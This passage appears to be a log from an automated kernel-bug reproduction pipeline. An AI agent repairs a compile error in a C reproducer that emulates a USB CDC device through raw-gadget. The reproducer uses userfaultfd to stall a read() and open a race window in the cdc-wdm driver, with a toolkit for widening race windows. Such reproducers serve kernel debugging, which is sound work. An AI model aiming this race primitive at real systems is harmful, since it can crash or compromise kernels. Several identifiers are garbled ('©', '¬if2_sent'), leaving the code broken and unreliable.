char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```
|
| 421/7 |
2026/09/11 23:40 |
llm |
repro-repairer |
0m
Model:
Tokens:
input: 13490
output: 4505
thoughts: 2252
Thoughts: **Encountering a Compiler Conundrum: The `htole16` Initialization Saga**
So, I've just hit a rather frustrating compiler error: `<stdin>:226:12: error: initializer element is not constant`. The note helpfully points out that this is related to the initialization of `dev_desc.bcdUSB`. My initial thought, upon seeing this, is that this is a classic C initialization problem. Global struct initializers in C demand constant expressions, and `htole16`, while seemingly straightforward, often isn't one. It's frequently a macro that expands to a function call, inline assembly, or an actual function, none of which are permissible in a static initializer.
My immediate instinct for a fix is to find a way to provide a constant value. I could, of course, replace `htole16(0x0200)` directly with its little-endian equivalent. Since I'm building for `linux/amd64`, which is little-endian, `htole16(0x0200)` is simply `0x0200`. Alternatively, if there were a constant macro like `__cpu_to_le16`, I could use that. However, the most robust and portable approach, especially given that these values are indeed constants, is to perform these initializations at runtime, rather than during static initialization. The logical places for this would be either in `main()` or, more appropriately for gadget setup, within a dedicated function like `setup_gadget()`.
I recall that `htole16` is indeed part of `<endian.h>`. On some systems, particularly with glibc, it might indeed not be recognized as a constant expression in this context. So, moving the initialization out of the global scope and into a runtime function like `setup_gadget()` is the most reliable solution. This avoids the static initialization constraint entirely.
Let's take a look at the specific structs involved: `dev_desc` and `conf_desc`.
For `dev_desc`, I see `bcdUSB`, `idVendor`, `idProduct`, and `bcdDevice` are being initialized with `htole16`.
And within `conf_desc`, the `wTotalLength`, `cdc_hdr.bcdCDC`, and `ep_in.wMaxPacketSize` are similarly initialized.
My plan is to remove these `htole16` calls from the global initializers. I'll then add assignments for these fields at the beginning of my `setup_gadget()` function, where `htole16` will be called in a valid runtime context. This should resolve the "initializer element is not constant" error cleanly. I'll also double-check if there are any other instances of `htole16` being used in similar global initializers to ensure I catch everything. Based on the error message, it seems the specific culprits are precisely the ones I've identified. This fix is straightforward and directly addresses the compiler's complaint.
|
| 422/4 |
2026/09/11 23:41 |
iteration |
1 |
0m
|
| 423/5 |
2026/09/11 23:41 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```]
|
| 424/5 |
2026/09/11 23:42 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
